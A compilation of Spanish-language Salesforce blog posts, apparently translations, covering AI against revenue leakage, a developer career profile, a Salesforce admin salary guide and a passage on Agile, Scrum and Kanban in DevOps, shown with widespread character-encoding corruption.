La lucha contra la fuga de ingresos nunca ha sido un trabajo f谩cil. Con el auge de la IA generativa, surge una poderosa herramienta contra las fugas de ingresos, que transforma la forma en que las empresas combaten este desafiante problema. La adopci贸n de IA entre las organizaciones B2B est谩 en constante aumento. La investigaci贸n de McKinsey indica que el 90 % de los l铆deres comerciales prev茅 utilizar con frecuencia soluciones de IA generativa en los pr贸ximos dos a帽os. Adem谩s, las organizaciones que invierten en IA est谩n experimentando aumentos sustanciales en los ingresos, que van del 3 % al 15 %, seg煤n el mismo informe.

La IA es un poderoso aliado en la lucha contra las fugas de ingresos. Sin embargo, no puede hacerlo solo. El punto clave a entender es que la IA aprende de los datos generados por humanos. En t茅rminos m谩s simples, la efectividad de la IA est谩 directamente relacionada con la calidad de sus datos. Para aprovechar al m谩ximo el potencial de la IA y desbloquear sus capacidades para la protecci贸n de los ingresos, es esencial conectar datos fiables y confiables de diversas fuentes.

Sin embargo, en muchas organizaciones, los datos se a铆slan con frecuencia en varios sistemas, creando silos. Incluso las grandes organizaciones con s贸lidos procedimientos de gesti贸n de datos a menudo se encuentran con problemas de calidad de los datos, como la falta de datos en su CRM. Esta realidad nos enfrenta a un c铆rculo vicioso, ya que los datos incorrectos son una de las causas m谩s comunes de fuga de ingresos . Sin garantizar la integridad de los datos y aprovechar la IA, combatir de manera efectiva las fugas de ingresos se convierte en una tarea imposible.

Garantizar la integridad de los datos incluye manejar la seguridad y abordar las preocupaciones de cumplimiento que requieren conocimientos t茅cnicos y experiencia espec铆fica. Con sus conocimientos y habilidades, los administradores de Salesforce desempe帽an un papel vital en cerrar la brecha entre las capacidades de IA y la calidad de los datos, lo que permite a las empresas combatir las fugas de ingresos de manera efectiva.

Garantizar la integridad de los datos con captura de actividad y poder administrativo

Una de las principales razones detr谩s de los problemas de datos para las empresas es la dependencia de los procesos manuales, lo que puede conducir a la entrada de datos que requiere mucho tiempo y mano de obra, lo que resulta en datos faltantes, errores y duplicados en CRM.

La captura de actividad automatizada supera estos desaf铆os al ofrecer una alternativa efectiva a la entrada manual de datos. Al recopilar y guardar el 100 % de los datos de actividad en varios puntos de contacto con el cliente, las soluciones de captura de actividad eliminan los errores de entrada de datos y garantizan datos precisos y siempre actualizados en Salesforce.

Adem谩s, tener datos completos permite a las empresas ver el panorama general, lo que les permite evaluar el estado de la tuber铆a e identificar acuerdos que se est谩n moviendo, estancados o en riesgo, ayud谩ndolos a identificar posibles fugas antes de que ocurran. Adem谩s, la captura de actividad automatizada mejora la eficiencia al liberar a los equipos de ventas de dedicar tiempo a la entrada manual de datos.

Si bien la captura de actividad parece ser la soluci贸n ideal para garantizar la integridad de los datos, no todas las herramientas de captura de actividad se crean de la misma manera y algunas pueden tener serias desventajas. Estos pueden incluir no tener datos reportables en Salesforce, opciones de sincronizaci贸n personalizables limitadas, falta de sincronizaci贸n bidireccional que causa problemas de programaci贸n y vulnerabilidades de seguridad debido a la ausencia de opciones de implementaci贸n en la nube privada y local.

La experiencia y los conocimientos t茅cnicos de los administradores de Salesforce son cruciales para superar con 茅xito estos desaf铆os. Capacitar a los administradores para elegir e implementar la soluci贸n de captura de actividad adecuada y manejar los problemas relacionados con los datos cuando ocurren garantiza el mantenimiento de datos de CRM de alta calidad.

Aprovechar la IA para combatir la fuga de ingresos

Con la integridad de los datos asegurada, el motor de IA ahora se alimenta con informaci贸n esencial y est谩 listo para actuar. Los datos de actividad incluyen se帽ales invaluables sobre la canalizaci贸n, las oportunidades de ventas y las brechas potenciales en los procesos. Identificar estos conocimientos requiere un an谩lisis profundo de los datos, lo que es imposible con la evaluaci贸n manual. AI automatiza el an谩lisis de datos para visualizar el estado de la tuber铆a e identificar las brechas de ejecuci贸n que indican fugas de ingresos.  

A continuaci贸n, la IA crea informaci贸n procesable a trav茅s de la inteligencia de ingresos. Despu茅s de analizar cantidades masivas de datos, la IA detecta patrones y los transforma en informaci贸n procesable a trav茅s de recomendaciones de IA contextuales y en tiempo real. Esto brinda a los equipos la orientaci贸n que necesitan para abordar la posible fuga de ingresos de inmediato.

El paso final es garantizar que se sigan estas recomendaciones y evaluar su eficacia. Las funciones de informes avanzados y las se帽ales de IA muestran el impacto exacto en tiempo real a medida que evoluciona la canalizaci贸n. Esto permite los ajustes necesarios en los procesos y establece una plataforma de ejecuci贸n para implementar cambios en toda la empresa y mejoras en los procesos para combatir las fugas de ingresos en toda la empresa.  

脷nase a nuestras sesiones de oratoria de Dreamforce para obtener m谩s informaci贸n

La fuga de ingresos es un problema comercial cr铆tico que debe manejarse, y la IA surge como una herramienta poderosa para abordarlo. Para aprovechar al m谩ximo el potencial de la IA, es esencial combinarla con datos de calidad. Aqu铆 es donde los administradores de Salesforce juegan un papel fundamental, potenciando la IA con datos valiosos y aprovechando su experiencia y conocimientos t茅cnicos para combatir las fugas de ingresos de manera efectiva.

Si est谩 ansioso por obtener m谩s informaci贸n sobre c贸mo la IA puede revolucionar sus estrategias de protecci贸n de ingresos, lo invitamos a unirse a nuestras sesiones de conferencias de Dreamforce . 隆Encu茅ntrenos en el stand n.潞 1126 para explorar las emocionantes posibilidades de la optimizaci贸n de ingresos impulsada por IA!

Maria Gordienko es directora de comunicaciones de Revenue Grid.

Evaluaci贸n formativa:

隆Quiero saber de ti!

驴Qu茅 es una cosa que aprendiste de esta publicaci贸n? 驴C贸mo imagina aplicar este nuevo conocimiento en el mundo real? Si茅ntase libre de compartir en los comentarios a continuaci贸n.

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Farah Sherif comparte el secreto del 茅xito de los desarrolladores: aprendizaje permanente 鈽侊笍

Farah Sherif comparte el secreto del 茅xito de los desarrolladores: aprendizaje permanente 鈽侊笍

Esta es una traducci贸n que desde EGA Futura ofrecemos como cortes铆a a toda la Ohana y comunidad de programadores , consultores , administradores y arquitectos de Salesforce para toda Iberoam茅rica .

El enlace a la publicaci贸n original, lo encontrar谩s al final de este art铆culo.

Farah Sherif comparte el secreto del 茅xito de los desarrolladores: aprendizaje permanente | Blog de desarrolladores de Salesforce

Si la desarrolladora de Salesforce, Farah Sherif , pudiera comenzar su carrera nuevamente, comenzar铆a a aprender Salesforce antes. No esperaba dedicarse a la codificaci贸n para ganarse la vida, pero pronto descubri贸 que era la carrera adecuada para ella. 鈥淪ol铆a pensar que la codificaci贸n era realmente complicada鈥, dice Farah, 鈥減ero Salesforce y Trailhead lo hicieron f谩cil. Adem谩s, con suficiente dedicaci贸n, puedes aprender cualquier cosa en Salesforce鈥.

Trailhead es la puerta de entrada al ecosistema de Salesforce, donde cualquier persona puede aprender las habilidades m谩s demandadas y relevantes de la actualidad de forma gratuita, obtener credenciales dignas de curr铆culum y conectarse con oportunidades globales. Hoy, m谩s de 18 millones de Trailblazers est谩n aprendiendo, creando redes y desarrollando sus habilidades para construir carreras exitosas.

Sol铆a pensar que la codificaci贸n era realmente complicada, pero Salesforce y Trailhead lo hicieron f谩cil.

Farah conoci贸 Salesforce gracias a su primo, que es miembro del Sal贸n de la fama de MVP de Salesforce , all谩 por 2018. 脡l le envi贸 un par de m贸dulos en la plataforma de aprendizaje de Trailhead, incluida la ruta Admin Beginner , y ella se enganch贸 de inmediato.

En la actualidad, la carrera de Farah es pr贸spera y actualmente es desarrolladora s茅nior de Salesforce para Oloop Technology Solutions , una firma de consultor铆a de tecnolog铆a empresarial con sede en Aurora, IL. Ella tambi茅n se ha convertido en MVP de Salesforce.

Pasi贸n por aprender y desarrollar habilidades en Trailhead

Trailhead ha sido el entorno de aprendizaje de Farah desde el primer d铆a, y desde entonces ha superado cientos de unidades y m贸dulos. Hasta la fecha, Farah ha completado 34 senderos y ganado la friolera de 365 insignias y 11 superbags, lo que la ha llevado al nivel Triple Star Ranger .

Farah tambi茅n ha mejorado su curr铆culum al lograr 15 certificaciones de impulso profesional de Salesforce , y recomienda este enfoque a otros desarrolladores que buscan avanzar en su carrera. Ella dice: "Aunque no tenga experiencia en un tema, si estudia lo suficiente y aborda la certificaci贸n, le da la oportunidad de ser parte de un proyecto que utiliza los productos que aprendi贸 en su certificaci贸n".

A pesar de todos sus logros, Farah contin煤a usando Trailhead como su fuente principal para aprender nuevas habilidades. 鈥淎unque hay varios recursos disponibles鈥, dice, 鈥減rimero empiezo con Trailhead y luego reviso otros recursos. Al prepararme para las certificaciones, las preguntas de pr谩ctica han sido realmente 煤tiles鈥.

Aunque hay varios recursos disponibles, primero empiezo con Trailhead.

Encontrando inspiraci贸n en la Galer铆a de muestra de c贸digo

Para los desarrolladores que desean explorar ejemplos de trabajo, Farah sugiere consultar Code Sample Gallery , que ella considera "una joya oculta subestimada". Contiene ejemplos de c贸digo escritos por el equipo de defensa de desarrolladores de Salesforce que muestran una variedad de caracter铆sticas de la plataforma de Salesforce, como componentes web Lightning, Apex y flujos, as铆 como casos de uso como la transformaci贸n de p谩ginas de Visualforce en componentes web Lightning. Farah dice: "Es la mejor manera de aprender, ya que el c贸digo est谩 escrito por expertos de Salesforce y hay toneladas de ejemplos sobre c贸mo hacer todo".

La comunicaci贸n es una habilidad valiosa para los desarrolladores.

Junto con las habilidades t茅cnicas, Farah ha aprendido que la buena comunicaci贸n es vital para el 茅xito del desarrollador. A medida que avanzaba en su carrera, Farah lleg贸 a creer que los desarrolladores no se sientan detr谩s de una computadora y programan todo el d铆a. Los desarrolladores deben poder comunicarse bien con los dem谩s para realizar su trabajo o mostrar su soluci贸n. Ya sea que se trate de reportar bloqueadores a un gerente de producto, discutir una soluci贸n alternativa o incluso explicar un enfoque t茅cnico a un cliente, es importante que los desarrolladores puedan expresarse claramente.

鈥淣o lo aprend铆 en un d铆a鈥, dice Farah, 鈥減ero he recorrido un largo camino desde la primera vez que habl茅 con un cliente. Las habilidades de comunicaci贸n tambi茅n ayudan cuando escuchas conversaciones porque entonces est谩s aprendiendo c贸mo tratar con las personas y c贸mo manejar a los clientes鈥. (Consejo: consulte elm贸dulo Narraci贸n y comunicaci贸n en Trailhead para mejorar sus habilidades).

驴Qu茅 tiene de bueno ser un desarrollador de Salesforce?

Una de las razones por las que a Farah le encanta ser desarrolladora de Salesforce es la experiencia de desarrollo en s铆 misma. Le gusta construir algo desde cero que pueda ayudar a las personas a ahorrar tiempo o facilitarles la vida. Tambi茅n se emociona cuando puede trabajar en algo que antes la gente pensaba que no era posible y ayudar a darle vida. Ella dice: "Me encanta programar porque es desafiante y te obliga a pensar de manera estructurada para encontrar una soluci贸n a prueba de errores".

Buscar ayuda de expertos en la comunidad

La clave del 茅xito de Farah: hacer preguntas. Cuando se enfrenta a requisitos desconocidos, Farah dedica mucho tiempo a aprender e investigar para obtener informaci贸n sobre un tema nuevo, lo que beneficia a toda su organizaci贸n. 鈥淐uando paso tiempo aprendiendo un nuevo producto o una nueva funci贸n de Salesforce, siempre es valioso para mi equipo, ya que puedo actuar como una fuente de conocimiento de ese tema m谩s adelante cuando tengamos que usarlo鈥.

Farah tambi茅n recurre a Salesforce Developers Trailblazer Community para buscar ayuda de expertos o seguir a l铆deres de opini贸n como David Liu y Salesforce Ben. Farah dice: "La Comunidad Trailblazer es mi espacio seguro, donde todos son incre铆blemente 煤tiles, y cuando s茅 que cuando contacte a alguien, realmente querr谩n ayudar". Sus grupos favoritos son Apex Hours y Ladies Be Architects .

El raro honor de una sudadera con capucha dorada

Farah complet贸 la universidad con un t铆tulo en Ciencias de la Computaci贸n y llevaba unos meses en su nuevo trabajo, esforz谩ndose por demostrar su val铆a como desarrolladora de Salesforce estudiando y obteniendo certificaciones. Pero fue solo cuando comenz贸 a involucrarse m谩s profundamente con la comunidad Trailblazer que sus perspectivas de carrera comenzaron a cambiar.

Despu茅s de pasar algunos meses aprendiendo sobre Trailhead鈥, recuerda Farah, 鈥淪olicit茅 dirigir el grupo comunitario local de Trailblazer en El Cairo, Egipto. Esas reuniones realmente me ayudaron a mejorar mis habilidades y, de hecho, consegu铆 mi primer trabajo como desarrollador de Salesforce asistiendo a ellas y conect谩ndome con la gente.

La dedicaci贸n de Farah al aprendizaje ya la comunidad no pas贸 desapercibida. En octubre de 2020, Salesforce le otorg贸 una rara sudadera con capucha dorada para celebrar su compromiso y su trayectoria como Trailblazer.

鈥淐uando recib铆 la sudadera con capucha dorada鈥, recuerda, 鈥渇ue un momento incre铆ble del que estar茅 orgullosa para siempre鈥. El premio se sinti贸 como una verificaci贸n de todos sus esfuerzos. Dos a帽os m谩s tarde, estaba en su primera conferencia de Salesforce y el significado de la sudadera con capucha finalmente hizo clic. 鈥淔ue entonces cuando realmente sent铆 lo especial que es tener la sudadera con capucha dorada. Es diferente cuando puedes usarlo en persona y ser reconocido por m谩s de 4000 personas鈥. Comparte m谩s de su perspectiva y experiencia, as铆 como un vistazo de su Golden Hoodie, en un episodio de Trailhead Live (a las 25:32).

Cuando recib铆 la sudadera con capucha dorada, fue un momento incre铆ble del que estar茅 orgulloso para siempre.

Consejos para nuevos desarrolladores de Salesforce: 隆No dejes de aprender!

Farah aconseja a los desarrolladores que son nuevos en el ecosistema de Salesforce que hagan preguntas y no dejen de aprender. Para mantenerse al d铆a con las 煤ltimas novedades, recomienda consultar las notas de la versi贸n de Salesforce que incluyen mejoras en la funcionalidad existente y nuevas herramientas. Tambi茅n sugiere involucrarse con su comunidad local de Salesforce , asistir a reuniones grupales y conferencias, donde tiene la oportunidad de establecer contactos y conocer a otros profesionales y regresar con nuevas ideas e inspiraci贸n.

Para Farah, el aprendizaje es un proceso continuo, algo que trata de recordar todos los d铆as. Ella dice: 鈥淣o dejas de aprender solo cuando tienes X n煤mero de certificaciones o cuando crees que has alcanzado un hito. Cuando mantienes el aprendizaje como un h谩bito, realmente vale la pena鈥.

Para conocer a desarrolladores como Farah y ampliar sus habilidades t茅cnicas, 煤nase a la comunidad de desarrolladores de Salesforce y sea parte de la conversaci贸n sobre todo lo relacionado con el desarrollo de Salesforce.

Sobre el Autor

Christie Fidura es la directora de Global Trailblazer Engagement. En este rol, busca involucrar y elevar a la comunidad y trabajar directamente con ellos para comprender sus desaf铆os, preocupaciones, victorias e inspiraciones. Puede encontrar a Christie en Trailblazer Community en https://trailblazer.me/id/christiefidura . Christie, administradora comunitaria certificada y comercializadora ganadora de m煤ltiples premios, cree en la tecnolog铆a, la comunidad y la igualdad.

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Gu铆a salarial de administrador de Salesforce (+ consejos para ganar m谩s) – Inspire Planner

Gu铆a salarial de administrador de Salesforce (+ consejos para ganar m谩s) - Inspire Planner

Una estad铆stica sorprendente de Skuid revela que entre el 20 y el 70 % de los proyectos de CRM fallan debido a la falta de experiencia profesional. Las empresas sin administradores de Salesforce capacitados son similares a los propietarios de autom贸viles costosos de alto rendimiento pero sin licencia de conducir. Lo tienes, pero no puedes usarlo en todo su potencial. Como un h谩bil conductor detr谩s del volante, los administradores de Salesforce garantizan el funcionamiento perfecto de Salesforce, la plataforma de CRM l铆der en el mundo. Pueden adaptar la plataforma para que se adapte a las necesidades comerciales 煤nicas, navegando sus complejidades con facilidad. Pero surge una pregunta importante: 驴qu茅 factores influyen significativamente en el salario de un administrador de Salesforce?

En esta Gu铆a de salario de administrador de Salesforce, profundizaremos en estas preguntas y descubriremos informaci贸n crucial en el camino. A partir de esta gu铆a, puede esperar descubrir:

  • El papel fundamental de un administrador de Salesforce en la industria tecnol贸gica
  • Un an谩lisis completo de los salarios de los administradores de Salesforce, teniendo en cuenta factores como la experiencia, la ubicaci贸n, la industria y las certificaciones.
  • El impacto de las certificaciones y la experiencia en el salario de un administrador de Salesforce
  • Variaciones geogr谩ficas de los salarios de los administradores de Salesforce en EE. UU., India y en todo el mundo
  • Efecto de los cambios de trabajo frente a la permanencia en el trabajo en la progresi贸n salarial del administrador de Salesforce
  • Consejos pr谩cticos para los administradores de Salesforce que buscan aumentar sus ingresos

Profundicemos y desentra帽emos los aspectos importantes de ser un administrador de Salesforce exitoso.

驴Qu茅 hace un administrador de Salesforce?

Los administradores de Salesforce tienen muchas funciones. Administran usuarios, datos y seguridad, personalizan Salesforce para satisfacer las necesidades comerciales, crean informes y paneles y brindan capacitaci贸n a los usuarios finales. Su funci贸n requiere una combinaci贸n de habilidades t茅cnicas y blandas, incluida la resoluci贸n de problemas, la comunicaci贸n, la gesti贸n de proyectos y una comprensi贸n profunda de las funcionalidades de Salesforce.

Seg煤n un estudio realizado por IDC, se prev茅 que el ecosistema de Salesforce, incluidos sus clientes y socios, genere 9,3 millones de nuevos puestos de trabajo y contribuya a $1,6 billones en nuevos ingresos comerciales a nivel mundial para 2026. A medida que m谩s empresas adopten Salesforce, el papel de Salesforce Los administradores solo se volver谩n m谩s fundamentales, haciendo de esta profesi贸n no solo un trabajo, sino una opci贸n de carrera pr贸spera.

Salario de administrador de Salesforce en los EE. UU.

Salario de nivel de entrada y salario promedio anual del administrador de Salesforce

Seg煤n Payscale, para aquellos que reci茅n comienzan su viaje como administradores de Salesforce, el salario inicial en los EE. UU. es de aproximadamente $ 61,000 por a帽o. Esta cifra representa el salario inicial est谩ndar para los administradores que tienen menos de un a帽o de experiencia. La cifra puede cambiar seg煤n variables como la ubicaci贸n, la industria y el tama帽o de la empresa.

El salario anual promedio de los administradores de Salesforce en los EE. UU. es de alrededor de $ 73,500. Esta cifra es un promedio de varios niveles de experiencia, industrias y ubicaciones dentro de los EE. UU. Incluye el salario base, aguinaldos, participaci贸n en las utilidades y cualquier otro beneficio econ贸mico, en su caso.

Variaciones del salario del administrador de Salesforce seg煤n la experiencia y la industria

Con 2 a 5 a帽os de experiencia, los administradores pueden esperar ganar alrededor de $71,000 por a帽o. Los administradores s茅nior de Salesforce con m谩s de 5 a帽os de experiencia pueden ganar entre $86 000 y $92 000 por a帽o, seg煤n los datos de Payscale.

La industria tambi茅n juega un factor clave en la determinaci贸n del salario. Por ejemplo, los administradores de Salesforce en los sectores de tecnolog铆a y finanzas a menudo ganan m谩s que los de otras industrias debido a la mayor demanda y complejidad de las tareas en estos sectores.

Variaciones geogr谩ficas en el salario del administrador de Salesforce

La ubicaci贸n geogr谩fica es otro factor clave que influye en los salarios. Los estados que tienen costos de vida m谩s altos, como California y Nueva York, frecuentemente ofrecen salarios m谩s altos como contrapeso. De manera similar, los estados con una alta concentraci贸n de empresas tecnol贸gicas, como Washington y Texas, tambi茅n tienden a ofrecer salarios m谩s altos debido al mercado laboral competitivo.

Salesforce Admin Salario en India

India es uno de los mercados m谩s grandes para el talento tecnol贸gico y juega un papel crucial en el ecosistema de Salesforce. Los ingresos de los administradores de Salesforce en la India tambi茅n est谩n determinados por numerosas variables, como la experiencia, la ubicaci贸n geogr谩fica, la industria y las certificaciones.

Seg煤n Talent.com, la estructura del salario del administrador de Salesforce en India var铆a ampliamente, dependiendo de varios factores. En promedio, pueden esperar ganar 鈧 1,100,000 por a帽o. Para aquellos que reci茅n comienzan su viaje de Salesforce, los salarios de nivel de entrada son alrededor de 鈧 500,000 por a帽o.

Sin embargo, a medida que los administradores de Salesforce acumulan experiencia y perfeccionan sus habilidades, su potencial de ingresos crece significativamente. Los profesionales m谩s experimentados en este campo pueden obtener salarios de hasta 鈧 1 737 500 por a帽o, lo que demuestra la importante progresi贸n financiera posible en esta carrera.

Salario del administrador de Salesforce a nivel mundial

En el panorama tecnol贸gico en constante evoluci贸n, los administradores de Salesforce desempe帽an un papel fundamental a nivel mundial. Aqu铆 hay un resumen de los salarios promedio de los administradores de Salesforce en varios pa铆ses a trav茅s de diferentes niveles de experiencia:

Salesforce Admin Salary Guide Globally de Inspire Planner, una aplicaci贸n de gesti贸n de proyectos nativa de SalesforceSalesforce Admin Salary Guide Globally de Inspire Planner, una aplicaci贸n de gesti贸n de proyectos nativa de Salesforce

Estos n煤meros pueden variar seg煤n numerosos factores, incluidos el pa铆s, la industria y el tama帽o de la organizaci贸n. A medida que los administradores obtienen m谩s experiencia y dominan las funcionalidades de Salesforce, sus salarios aumentan significativamente.

Influencia de la certificaci贸n y la experiencia en el salario

El poder de las certificaciones y la experiencia de Salesforce para configurar el salario de un administrador de Salesforce no se puede subestimar. Seg煤n la Encuesta de salarios de Mason Frank, se revel贸 que el 43% de los encuestados vieron un aumento en su salario despu茅s de obtener una certificaci贸n, lo que destaca la correlaci贸n directa entre la mejora profesional y las recompensas financieras.

Tambi茅n es fundamental centrarse estrat茅gicamente en las certificaciones m谩s pertinentes. La certificaci贸n de Administrador Avanzado, por ejemplo, es muy buscada ya que valida la experiencia en caracter铆sticas y funcionalidades avanzadas de Salesforce. Del mismo modo, tener una certificaci贸n de Platform App Builder puede brindar una ventaja considerable para aquellos que aspiran a validar su competencia en el dise帽o, la creaci贸n y la implementaci贸n de aplicaciones personalizadas en la plataforma Salesforce.

La experiencia tambi茅n tiene un peso inmenso en el salario de un administrador de Salesforce. El mismo estudio de Mason Frank sugiere que un profesional de Salesforce con m谩s de cinco a帽os de experiencia puede ganar hasta un 20% m谩s que sus contrapartes con menos experiencia.

Sin embargo, si bien es beneficioso tener m煤ltiples certificaciones, es crucial equilibrar esto con la adquisici贸n de experiencia en el mundo real. Los empleadores valoran la experiencia pr谩ctica, por lo que centrarse 煤nicamente en las certificaciones sin aplicar las habilidades aprendidas podr铆a hacerte parecer sobrecualificado o fuera de contacto con los aspectos pr谩cticos del puesto.

Tenencia de trabajo vs. Salto de trabajo: 驴Qu茅 afecta m谩s la progresi贸n salarial?

En el sector de la tecnolog铆a, y espec铆ficamente dentro de los roles de Salesforce, a menudo vemos una mezcla de experiencias. Para algunos, la lealtad a una sola organizaci贸n conduce a una progresi贸n salarial constante, especialmente si pueden obtener un ascenso dentro de la organizaci贸n. Sin embargo, otros descubren que cambiar de trabajo cada pocos a帽os acelera el crecimiento de su salario de administrador de Salesforce debido a la "prima de salto de trabajo".

Seg煤n los hallazgos del Instituto de Investigaci贸n ADP, los empleados que se apegan a sus trabajos han visto crecer sus salarios en un 5,9 %, mientras que aquellos que cambian de trabajo ven un salto mayor, con un aumento del 8,0 %.

Sin embargo, no se trata solo de perseguir el salario m谩s alto. Cambiar de trabajo puede conducir potencialmente a percepciones de inestabilidad o falta de compromiso, lo que podr铆a afectar las perspectivas laborales futuras. Por otro lado, permanecer en una empresa durante un per铆odo prolongado podr铆a limitar la exposici贸n a diversas experiencias y, potencialmente, ralentizar el ritmo de desarrollo de habilidades y progresi贸n profesional.

Por lo tanto, si bien cambiar de trabajo puede generar una ganancia financiera inmediata, considere otros factores, como las oportunidades de aprendizaje, la cultura laboral, el equilibrio entre el trabajo y la vida personal y el crecimiento profesional a largo plazo al tomar tales decisiones. Despu茅s de todo, una carrera satisfactoria es algo m谩s que las cifras de su cheque de pago.

Consejos para aumentar el salario del administrador de Salesforce

Estos son algunos consejos pr谩cticos para los administradores de Salesforce que buscan aumentar sus ingresos.

  • Obtenga certificaciones de Salesforce : Salesforce ofrece una variedad de certificaciones que certifican su comprensi贸n y experiencia en varias facetas de la plataforma. Las certificaciones como Administrador avanzado o Creador de aplicaciones de plataforma no son solo muestras de su dedicaci贸n para dominar la plataforma; tambi茅n dan fe de su capacidad para manejar tareas m谩s complejas. Obtener estas certificaciones puede mejorar considerablemente su valor de mercado.
  • Especial铆cese en un 谩rea particular : aunque la versatilidad es un rasgo deseable en los administradores de Salesforce, perfeccionar un 谩rea espec铆fica puede aumentar su valor para las empresas. Por ejemplo, centrarse en CPQ (Configurar, Precio, Cotizar) puede abrir oportunidades en sectores donde la fijaci贸n de precios de productos o servicios es compleja. Al convertirse en un experto en CPQ, se posiciona como un especialista que puede optimizar procesos complejos, aumentando as铆 su potencial de ingresos. Consulte nuestra gu铆a para conocer los mejores recursos para la capacitaci贸n de Salesforce.
  • Agregue valor al negocio : los administradores de Salesforce pueden aumentar su salario demostrando su valor para el negocio. Esto podr铆a implicar la automatizaci贸n de procesos en Salesforce, la implementaci贸n de nuevas funciones que aumenten la eficiencia o la capacitaci贸n de usuarios finales para utilizar mejor la plataforma. Al mostrar c贸mo su trabajo contribuye a los resultados de la empresa, puede presentar argumentos s贸lidos a favor de un salario m谩s alto. Aqu铆 puede encontrar m谩s consejos sobre c贸mo ser un administrador de Salesforce exitoso.
  • Comprenda su valor : use recursos como la Encuesta anual de salarios de Mason Frank, Payscale o Glassdoor para obtener una imagen realista de cu谩l es el salario t铆pico de un administrador de Salesforce seg煤n su ubicaci贸n, industria y nivel de experiencia. Esto lo ayuda a medir su valor de mercado y proporciona una base para comenzar las negociaciones.
  • Est茅 preparado : antes de la negociaci贸n, enumere sus principales contribuciones y logros. Incluya proyectos o iniciativas espec铆ficas que hayan tenido un impacto sustancial en el negocio. Esto puede proporcionar evidencia convincente de su val铆a.
  • Practique la escucha activa : la negociaci贸n no se trata solo de hacer demandas; tambi茅n se trata de comprender la perspectiva de la otra parte. Escuchar puede ayudarlo a identificar lo que es importante para el empleador y encontrar puntos en com煤n.
  • Busque un mentor : busque profesionales que est茅n un par de etapas por delante de usted en su carrera en Salesforce, preferiblemente de 2 a 5 a帽os. Estas personas tendr谩n una experiencia reciente y relevante que se alinea estrechamente con los desaf铆os que es probable que encuentre.

Resumen

A medida que la ola de transformaci贸n digital sigue aumentando, la demanda de administradores de Salesforce capacitados se dispara. En particular, las funciones de estos profesionales se extienden m谩s all谩 de la competencia t茅cnica y exigen una combinaci贸n armoniosa de habilidades blandas y una comprensi贸n profunda de los procesos comerciales.

No se puede subestimar la influencia de las certificaciones, la experiencia y la ubicaci贸n geogr谩fica en el salario de un administrador de Salesforce. Un administrador certificado de Salesforce, especialmente con habilidades de nicho como CPQ, puede esperar un aumento salarial, con incrementos adicionales paralelos a su experiencia acumulada. Los datos muestran que los cambios frecuentes de trabajo tambi茅n pueden contribuir a un aumento m谩s r谩pido de los ingresos en comparaci贸n con permanencias m谩s largas en una empresa.

Sin embargo, no se trata solo de buscar certificaciones o cambiar de trabajo. La creaci贸n de una red s贸lida, la b煤squeda de mentores y el perfeccionamiento de sus habilidades de negociaci贸n son esenciales para mejorar su valor y, en consecuencia, su potencial de ingresos.

Para los posibles administradores de Salesforce o los experimentados que buscan avanzar, recuerde que es una combinaci贸n de aprendizaje continuo, movimientos profesionales estrat茅gicos y aprovechar la vibrante comunidad de Salesforce lo que lo colocar谩 en los tramos salariales m谩s altos.

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Incorporaci贸n de Agile en Salesforce DevOps – Inspire Planner

Incorporaci贸n de Agile en Salesforce DevOps - Inspire Planner

La r谩pida era digital exige que las empresas entreguen valor de manera r谩pida y eficiente. Sin embargo, los equipos dispersos geogr谩ficamente y las operaciones de desarrollo complejas, particularmente en Salesforce DevOps, a menudo pueden dar lugar a plazos incumplidos, equipos tensos y flujos de trabajo inconexos. Ah铆 es donde entra en juego Agile en Salesforce DevOps.

La gesti贸n 谩gil de proyectos ofrece una soluci贸n que incorpora las metodolog铆as Scrum y Kanban para permitir una adaptaci贸n r谩pida, una colaboraci贸n mejorada y una entrega continua de software de alta calidad, lo que ayuda a las empresas a mantenerse competitivas y cumplir con las expectativas de los clientes.

En una encuesta realizada por KPMG, el 84% de los participantes informaron que su organizaci贸n utiliza metodolog铆as Scrum o Kanban. Entonces, la pregunta es, 驴y t煤?

Comprensi贸n de Agile en Salesforce DevOps: Scrum y Kanban

Tabla de contenido

Las metodolog铆as 谩giles son estrategias flexibles que facilitan una gesti贸n de proyectos 谩gil y eficiente en el desarrollo de software. Se basan en los principios de:

  • Transparencia : este principio garantiza que todos los aspectos del proyecto sean visibles para todos los responsables del resultado. Esto incluye informaci贸n sobre los objetivos, el progreso y el proceso del proyecto.
  • Inspecci贸n : los miembros del equipo y las partes interesadas inspeccionan con frecuencia el progreso y el trabajo hacia la meta del proyecto para detectar variaciones no deseadas.
  • Adaptaci贸n : si el equipo identifica discrepancias significativas durante una inspecci贸n, debe ajustar su proceso o los materiales en los que se est谩 trabajando.

Mel茅

Scrum est谩 dise帽ado para equipos compuestos por diez miembros o menos. Este enfoque implica dividir el trabajo en objetivos que deben cumplirse dentro de per铆odos espec铆ficos conocidos como sprints. Un Sprint es un per铆odo de tiempo dentro del cual se crea un incremento de producto "Terminado", utilizable y potencialmente liberable.

Por lo general, cada sprint dura hasta un mes, pero la duraci贸n m谩s com煤n es de dos semanas. El equipo eval煤a su progreso en reuniones diarias de scrum, que son debates r谩pidos que no superan los 15 minutos.

Al finalizar un sprint, se llevan a cabo dos reuniones adicionales: una revisi贸n del sprint para mostrar el trabajo a las partes interesadas y recopilar sus comentarios, y una retrospectiva del sprint que permite al equipo reflexionar e identificar 谩reas de mejora.

Gesti贸n de proyectos Scrum en Inspire Planner, la aplicaci贸n de gesti贸n de proyectos nativa de Salesforce
Creaci贸n de un Sprint en Inspire Planner, una aplicaci贸n de gesti贸n de proyectos nativa de Salesforce

Kanban

Kanban es un sistema visual que ayuda a administrar el trabajo, identificar cuellos de botella y garantizar un flujo de trabajo eficiente y rentable.

Kanban sigue cuatro principios:

  • Visualice el flujo de trabajo : un modelo visual del trabajo permite a los miembros observar el flujo de trabajo que se mueve a trav茅s del sistema y responder r谩pidamente a los bloqueos.
  • Limite el trabajo en progreso (WIP) : al limitar la cantidad de trabajo sin terminar que est谩 en proceso, los equipos pueden reducir el tiempo que tarda un elemento en viajar a trav茅s del sistema Kanban.
  • Gestionar Flujo : La gesti贸n de elementos de trabajo debe ser continua y enfocada a lograr un flujo fluido, con tiempos de finalizaci贸n r谩pidos y trabajo de calidad.
  • Mejora continua : los equipos deben analizar continuamente su flujo de trabajo y hacer los ajustes necesarios para mejorar el rendimiento y la eficiencia.
Tablero Kanban en Inspire Planner, aplicaci贸n de gesti贸n de proyectos nativa de SalesforceTablero Kanban en Inspire Planner, aplicaci贸n de gesti贸n de proyectos nativa de Salesforce
Tablero Kanban en Inspire Planner, una herramienta de gesti贸n de proyectos nativa de Salesforce

An谩lisis comparativo de Scrum y Kanban

El siguiente an谩lisis le brinda una breve descripci贸n general de qu茅 marco podr铆a usar en su organizaci贸n.

Mel茅 Kanban
